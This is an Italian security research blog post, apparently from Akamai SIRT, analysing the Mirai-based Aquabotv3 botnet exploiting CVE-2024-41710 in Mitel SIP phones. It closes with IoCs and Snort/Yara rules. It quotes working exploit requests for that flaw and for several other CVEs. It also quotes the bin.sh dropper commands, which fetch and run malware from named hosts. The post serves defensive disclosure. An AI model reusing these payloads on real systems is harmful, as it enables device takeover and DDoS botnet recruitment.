Sfruttamento attivo: la nuova variante “phone home” di Aquabot
Editoriale e commenti aggiuntivi di Tricia Howard
Analisi riassuntiva
Il SIRT (Security Intelligence and Response Team) di Akamai ha identificato una nuova variante di Aquabot, un malware basato su Mirai, che tenta di sfruttare attivamente i telefoni SIP di Mitel. Poiché si tratta della terza iterazione distinta di Aquabot, l’abbiamo denominata Aquabotv3.
Il malware sfrutta una vulnerabilità CMDi, a cui è stato assegnato il codice CVE-2024-41710, che interessa i modelli Mitel.
Questo malware presenta un comportamento mai osservato prima d’ora con una variante della botnet Mirai: una funzione (report_kill) che consente di segnalare al suo C2 (Command and Control) quando un segnale kill viene rilevato sul dispositivo infettato. Alla data della pubblicazione di questo blog, non abbiamo osservato alcuna risposta provenire dal C2.
Introduzione e rilevamento
Che cos’è Aquabot?
Aquabot è una botnet progettata dal sistema Mirai con l’obiettivo finale di sferrare attacchi DDoS (Distributed Denial of Service). Il suo nome deriva dal nome file presente nell’analisi: “Aqua”, che è stata segnalata per la prima volta nel 2023 da Antiy Labs. Attualmente, se ne conoscono tre versioni e in questo blog parleremo della terza versione.
La prima versione è stata molto simile alla struttura base di Mirai, mentre la seconda versione ha aggiunto i meccanismi di occultamento e persistenza, come la capacità di prevenire l’arresto e il riavvio dei dispositivi. Per un’analisi tecnica completa, vi consigliamo di leggere l’articolo di Antiy.
Questa terza iterazione aggiunge una nuova attività per una botnet basata su Mirai: la comunicazione C2 quando la botnet rileva alcuni segnali. Questo aspetto, insieme ad altre importanti differenze nelle funzioni, separa in modo significativo le due versioni, supportando la necessità di distinguere una terza variante.
La vulnerabilità e lo sfruttamento della PoC (Proof-of-Concept)
CVE-2024-41710
La vulnerabilità CMDi a cui è stato assegnato il codice CVE-2024-41710 interessa i telefoni SIP di Mitel serie 6800, 6900 e 6900w, tra cui il modello 6970 Conference Unit tramite R6.4.0.HF1 (R6.4.0.136). Questa vulnerabilità, divulgata per la prima volta a metà luglio del 2024, si basa su una falla legata alla sanificazione dell'input e il suo sfruttamento può condurre all'accesso root al dispositivo. La vulnerabilità è stata dimostrata in una PoC (Proof-of-Concept) pubblicata dal ricercatore Kyle Burns di Packetlabs a metà agosto del 2024 su GitHub.
Non si conoscono istanze di questa vulnerabilità sfruttate in rete prima delle osservazioni del SIRT’ di gennaio 2025.
Sfruttamento della PoC (Proof-of-Concept)
Lo sfruttamento della PoC (Proof-of-Concept) ci mostra come un criminale potrebbe introdurre in modo illecito voci altrimenti bloccate dai controlli di sanificazione dell’applicazione inviando una richiesta HTTP POST appositamente progettata.
Nel suo file README su GitHub Burns ha segnalato di aver riscontrato come il telefono SIP Mitel 6869i, versione firmware 6.3.0.1020, non sia riuscito ad eseguire correttamente la sanificazione dell’input fornito dall’utente e come siano risultati vulnerabili questo problema vari endpoint. Per la PoC, Burns si è focalizzato sull’endpoint “802.1x Support” (8021xsupport.html).
Le richieste remote inviate al file 8021xsupport.html potrebbero essere usate per aggiornare la configurazione locale del dispositivo (/nvdata/etc/local.cfg). Inviando il valore del byte di “%dt”, l’applicazione web “linemgrSip” lo interpreta come carattere finale della linea “%0d”. Lo sfruttamento di questa vulnerabilità può avvenire durante il processo di avvio, in cui i contenuti della configurazione locale del dispositivo vengono letti e utilizzati per le azioni di attivazione.
Durante lo sfruttamento della PoC, Burns fornisce il seguente payload specificato nel parametro HTTP POST 802.1x+identity per ottenere l’esecuzione del codice.
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
Durante il processo di avvio, l’applicazione sovrascrive la voce del nome host preso di mira nella configurazione locale del dispositivo. La voce del nome host viene quindi usata durante l’avvio ed esegue lo script della shell che precede.
Sfruttamento attivo
Il SIRT di Akamai ha rilevato alcuni tentativi di sfruttamento che hanno preso di mira questa vulnerabilità tramite la nostra rete globale di honeypot all’inizio di gennaio 2025 con un payload quasi identico a quello della PoC. L’esempio di payload mostrato nella sezione precedente ha preso di mira l’URI “/8021xsupport.html”, ma viene attualmente usato per diffondere malware in rete.
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
Questo payload tenterà di recuperare ed eseguire uno script della shell denominato “bin.sh”, che, a sua volta, cercherà di recuperare ed eseguire il malware Mirai sul sistema preso di mira, con il supporto di varie architetture, come x86 e ARM.
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
In base alla nostra analisi dei campioni di malware, abbiamo stabilito che si tratta di una versione della variante Mirai denominata Aquabot, che condivide la maggior parte delle somiglianze con Aquabotv2: presenta le stesse funzioni di attacco, ma con alcune differenze sostanziali che verranno trattate nelle sezioni successive. A causa di questa evoluzione del malware, abbiamo denominato questa nuova variante Aquabotv3.
Analisi del malware
A prima vista, Aquabotv3 sembra semplicemente un file binario standard del malware Mirai con le tipiche funzioni degli attacchi DDoS, come i flood e gli strumenti di bypass.
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
Tuttavia, abbiamo notato una funzione denominata “defend_binary()” (illustrata nella Figura 1 come “sym.defend_binary”) che configura un handler “handle_signal()” per i seguenti segnali:
- Segnale 15 (SIGTERM)
- Segnale 2 (SIGINT)
- Segnale 9 (SIGKILL)
- Segnale 3 (SIGQUIT)
- Segnale 20 (SIGTSTP)
- Segnale 21 (SIGTTIN)
- Segnale 22 (SIGTTOU)
- Segnale 1 (SIGHUP)
La Figura 1 mostra quando questi segnali vengono inviati al campione di malware in esecuzione, che li rileva.
Una volta rilevato il segnale, la funzione “handle_signal” imposta un flag in memoria a indicare che il segnale è stato rilevato e che il file binario è stato “difeso” (Figura 2).
Ma non finisce qui: Aquabotv3 quindi invia un rapporto al suo server. La funzione report_kill() invia un messaggio al server C2 tramite una connessione TCP a indicare che è stato rilevato un segnale (Figura 3).
Il malware invia i tentativi kill di nuovo anche al server C2 (Figura 4). Tuttavia, non sembra che venga segnalato nulla dal server C2 in base alle notifica ricevuta quando è stato rilevato un segnale.
Non abbiamo mai osservato prima questo comportamento in una variante Mirai, quindi forse potrebbe trattarsi di una nuova funzione. Anche se il vero motivo alla base di questo comportamento non è stato confermato, questo tipo di comunicazione inviata al server C2 potrebbe essere un modo per monitorare attivamente l’integrità della botnet da parte del suo autore.
La botnet contiene funzioni programmate per interrompere i processi che corrispondono ad alcuni requisiti, come le shell locali.
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
In Aquabotv2, sono stati introdotti alcuni meccanismi di occultamento, che sono presenti anche nella versione 3. La Figura 5 mostra come il malware si rinomina come “httpd.x86” e comunica con il server C2 193.200.78[.]57 tramite la porta 33966.
Analizzando il comportamento del malware in modo dinamico, abbiamo scoperto che anche il malware si connette al server C2 89.190.156[.]145 tramite la porta 7733. Queste porte rimangono coerenti nei vari campioni che abbiamo analizzato.
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
Altre vulnerabilità prese di mira
Come molte altre botnet, questa botnet prende di mira una varietà di altre vulnerabilità per diffondersi ulteriormente. Abbiamo osservato la stessa diffusione del malware Aquabot basato su Mirai tramite la vulnerabilità Hadoop YARN ampiamente sfruttata. Analogamente al payload di cui abbiamo parlato in precedenza, l’exploit recupera ed esegue lo stesso script della shell “bin.sh”, che quindi recupera ed esegue la variante del malware Aquabot basato su Mirai su un sistema preso di mira.
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Sfruttamento della vulnerabilità Hadoop YARN
Tra le altre vulnerabilità prese di mira dalla botnet che abbiamo osservato, figurano le seguenti: CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, RCE Linksys serie E, CVE-2018-10562 e CVE-2018-10561. Anche se i nomi file differiscono dalla semplice denominazione “Aqua” relativa ai tentativi di sfruttamento dei telefoni Mitel, il malware che proviene da questi altri exploit sembra uguale.
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
Sfruttamento della vulnerabilità CVE-2018-17532
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
Sfruttamento della vulnerabilità CVE-2023-26801
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
Sfruttamento della vulnerabilità CVE-2022-31137
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Sfruttamento della vulnerabilità RCE Linksys serie E
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
Sfruttamento delle vulnerabilità CVE-2018-10562 e CVE-2018-10561
DDoS-as-a-Service
Abbiamo anche notato che i criminali che si nascondono dietro Aquabot hanno pubblicizzato questa botnet come se si trattasse di una soluzione DDoS-as-a-Service tramite alcune piattaforme, come Telegram (Figura 6), e con vari nomi relativi ad attacchi DDoS ai livelli 4 e 7. Le convenzioni di denominazione possono variare, risultando, a volte, fuorvianti rispetto al proprio scopo reale: Cursinq Firewall, The Eye Services e The Eye Botnet.
I criminali, di solito, sostengono che la botnet viene utilizzata solo per eseguire i test di mitigazione degli attacchi DDoS per cercare di fuorviare i ricercatori o le forze dell’ordine. I criminali sostengono che si tratta di una PoC o di qualcosa che viene utilizzato a scopo educativo, anche se un’analisi più accurata mostra che, in realtà, stanno pubblicizzando la botnet come se si trattasse di una soluzione DDoS-as-a-Service oppure i proprietari si vantano del fatto di eseguire la propria botnet su Telegram.
Ad esempio, nell’annuncio illustrato nella Figura 6, lo stesso dominio che i criminali sostengono di utilizzare esclusivamente a scopo di test per i sistemi di mitigazione degli attacchi DDoS ha attivamente diffuso il malware Mirai.
La botnet Mirai e gli attacchi DDoS vanno di pari passo
Gli attacchi DDoS rimangono una minaccia dilagante per molte organizzazioni e le botnet come Aquabot svolgono un ruolo fondamentale in questo processo. Inoltre, poiché queste botnet sono basate perlopiù sul malware Mirai, prendono di mira in modo predominante i dispositivi IoT (Internet of Things), che rendono relativamente semplice diffondere il malware.
Il ROI derivante dal malware Mirai per un aspirante autore di botnet è elevato. Mirai è una delle famiglie di botnet che garantisce i migliori profitti al mondo, nonché uno dei tipi più semplici da modificare. Questi sistemi IoT, spesso, non dispongono di adeguate funzioni di sicurezza, sono al termine del ciclo di vita o vengono lasciati con configurazioni e password predefinite perché non si conoscono o si trascurano i pericoli correlati.
Nel caso di Aquabot, il malware fondamentale è lo stesso della botnet Mirai, ma la gestione del segnale è particolarmente distintiva, che, tuttavia, non è sempre sinonimo di utile: questo malware non si è mostrato del tutto tranquillo e questo aspetto potrebbe andare a suo svantaggio.
Il motivo alla base di questa gestione esclusiva del segnale potrebbe rivelare l’intenzione del criminale di osservare l’attività di difesa di un sistema per sviluppare varianti più elusive in futuro e per rilevare attività di interruzione delle operazioni/attacchi provenienti da botnet antagoniste o campagne condotte per scopi etici oppure una combinazione di questi metodi.
È il momento di agire
Qualunque siano le intenzioni dei criminali, intervenire sui dispositivi IoT non protetti (ad esempio, individuare e cambiare le credenziali predefinite) può aiutare a contrastare gli attacchi DDoS. Molte di queste botnet si basano su librerie di password comuni per l’autenticazione. È importante anche individuare dove si trovano i vostri dispositivi IoT noti e verificare se sono presenti dispositivi non autorizzati. Controllate le credenziali di accesso e cambiatele se sono ancora quelle predefinite o se sono semplici da indovinare.
Ulteriori informazioni
L'Akamai SIRT continuerà a scoprire, monitorare e segnalare minacce come la CVE-2024-41710 per proteggere i nostri clienti, i nostri dipendenti e la comunità della sicurezza in generale. Per tenervi aggiornati sui risultati recenti, potete seguirci sui social media o consultare la nostra pagina relativa alle ricerche sulla sicurezza.
Indicatori di compromissione
Abbiamo incluso un elenco di indicatori di compromissione (IoC), nonché di regole Snort e Yara, per aiutare i team addetti alla sicurezza.
Regole Snort per gli IoC di rete
Regole Snort per gli IP dannosi
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
Regole Snort per il rilevamento della risoluzione dei domini C2
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
Regole Yara per i campioni di malware
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
Indirizzi IPv4 delle infrastrutture storiche
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
Domini per gli endpoint di distribuzione di malware e C2
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
Hash SHA256
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3